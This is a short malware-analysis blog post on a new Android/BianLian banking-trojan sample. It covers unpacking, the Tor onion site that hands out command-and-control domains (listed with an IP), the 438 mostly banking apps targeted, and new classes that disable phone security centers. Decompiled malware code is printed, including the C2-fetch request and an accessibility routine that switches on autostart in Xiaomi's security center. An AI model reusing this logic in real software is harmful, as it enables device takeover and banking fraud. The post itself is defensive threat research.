Quick look into a new sample of Android/BianLian

cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726

@cryptax June 9, 2022

@cryptax

Jun 9

.

2 min read

It's Xmas time?! New BianLian samples to analyze thanks to @ni_fi_70 1 hour ago. Is that fresh enough? 😉

Let's look into `doc_hy_0906_obf.apk`, with SHA256: `99e0053475ecd6a22b0e22b2441f0bf0a407b36be54e7d8220bb284c0bd494a8`.

Unpacking

It is packed. Arg: my "JsonPacker" rule in APKiD doesn't see it, I'll have to fix that!

```
[!506]$ apkid doc_hy_0906_obf.apk
[+] APKiD 2.1.3 :: from RedNaga :: rednaga.io
[*] doc_hy_0906_obf.apk!classes.dex
 |-> compiler : dexlib 2.x
```

APKiD should have detected "JsonPacker". It did not. That's a bug, and it's … my fault! Fortunately, students of mine wrote an unpacker that worked fine. Nice!

```
Extracting APK files...

Unpacking doc_hy_0906_obf (1/1) ...
Decrypted file was a zipped DEX. Check /tmp/DecryptJson.doc_hy_0906_obf/doc_hy_0906_obf.dex
```

Static unpacking of the malware. Of course, you can unpack dynamically too if you prefer.

Getting the C2

This sample connects to a Tor onion website to retrieve the URL of the C2.

```
public final void loadAdminUrl() {
    new JSONObject("{\"your payload\": \"goes here\"}");
    BaseHttpStack v1 = (BaseHttpStack)new ProxiedHurlStack();
    RequestQueue v0 = Volley.newRequestQueue(this.context, v1);
    Intrinsics.checkNotNullExpressionValue(v0, "newRequestQueue(context, ProxiedHurlStack())");
    Intrinsics.checkNotNullExpressionValue("http://newdb5ge5dz5schqawxsxuomspxsyb5xqk65v4j2fdeynds4vsgstrad.onion/api/mirrors", "decodeBase64(BotConfigs.ADMIN_URL)");
    Timber.d("!!!!! | tor request to http://newdb5ge5dz5schqawxsxuomspxsyb5xqk65v4j2fdeynds4vsgstrad.onion/api/mirrors", new Object[0]);
    StringRequest v2 = new StringRequest(0, "http://newdb5ge5dz5schqawxsxuomspxsyb5xqk65v4j2fdeynds4vsgstrad.onion/api/mirrors", (String arg5) -> {
```

This first website is only there to distribute the URL of the C2
Today, this website returns a base64 encoded string:

```
eyJkb21haW5zIjpbImh0dHA6XC9cL3NlcnZzZXJ2ZnJlZXVwZGF0ZS50b3AiLCJodHRwOlwvXC93YXluZWNvbm
```

Decode it, and you get not 1 URL, but 3! That's the first time I see that in BianLian, although the support for multiple domains has been there for a long time.

```
{"domains":
["http:\/\/servservfreeupdate.top","http:\/\/wayneconnectingservice.hk","http:\/\/allu
```

The last one does not resolve (yet). The first 2 currently go to the same IP address `185.117.90.233`. The 3rd is down. It has registered 4 other domain names that we will probably see in the future: managerupgradecert[.]xyz, wayneconnectingservice[.]com, auw[.]swiftabout[.]co[.]uk and uayv.rotlain[.]com.

Targets

This C2 currently targets **438 mobile apps**. 80% of those apps are mobile banking apps, 10% are for cryptocurrency, and the rest varies (mail applications, or just famous apps). The targeted countries are the usual ones for the BianLian family. I can just highlight that it targets some French banks (a recent addition first seen in May 2022), but does *not* target Austria, Australia or Singapore compared to other instances of BianLian.

Code "novelties"

There are no added functionality compared to prior BianLian samples I analyzed, but the code's organization has been improved with the addition of 3 new classes:

- BatteryOptimizationHandler. Handles doze mode. This existed before, but code was scattered in various locations.
- DeviceSecurityHandler. Turns off Huawei and Samsung security centers.
- XiaomiAutostartHandler. Sets auto start for the malware in MiUI's security center. I believe this is referring to .

```
public static boolean onAccessibilityEvent(InjAccessibilityService arg5, AccessibilityEvent arg6, String arg7) {
    if(arg7 == null) {
        return false;
    }

    if(!"com.miui.securitycenter".equalsIgnoreCase(arg7)) {
        return false;
    }

    if(arg6 != null && arg6.getSource() != null) {
        try {
            Thread.sleep(1000L);
        }
        catch(InterruptedException v7) {
            v7.printStackTrace();
        }

        for(Object v7_1: arg5.findAndGetAllNode(arg6.getSource(), "com.miui.securitycenter:id/title", true)) {
            AccessibilityNodeInfo v7_2 = (AccessibilityNodeInfo)v7_1;
            if(!v7_2.getText().equals("Document Manager")) {
                continue;
            }

            AccessibilityNodeInfo v2 = arg5.findAndGetFirstSimilar(v7_2.getParent(), "com.miui.securitycenter:id/sliding_button", true);
            if(v2 == null || !v2.isCheckable()) {
                continue;
            }

            return v2.isChecked() ? true : arg5.findButtonAndClick(v7_2.getParent(), "com.miui.securitycenter:id/sliding_button", true);
        }
    }

    return false;
}
```

— Cryptax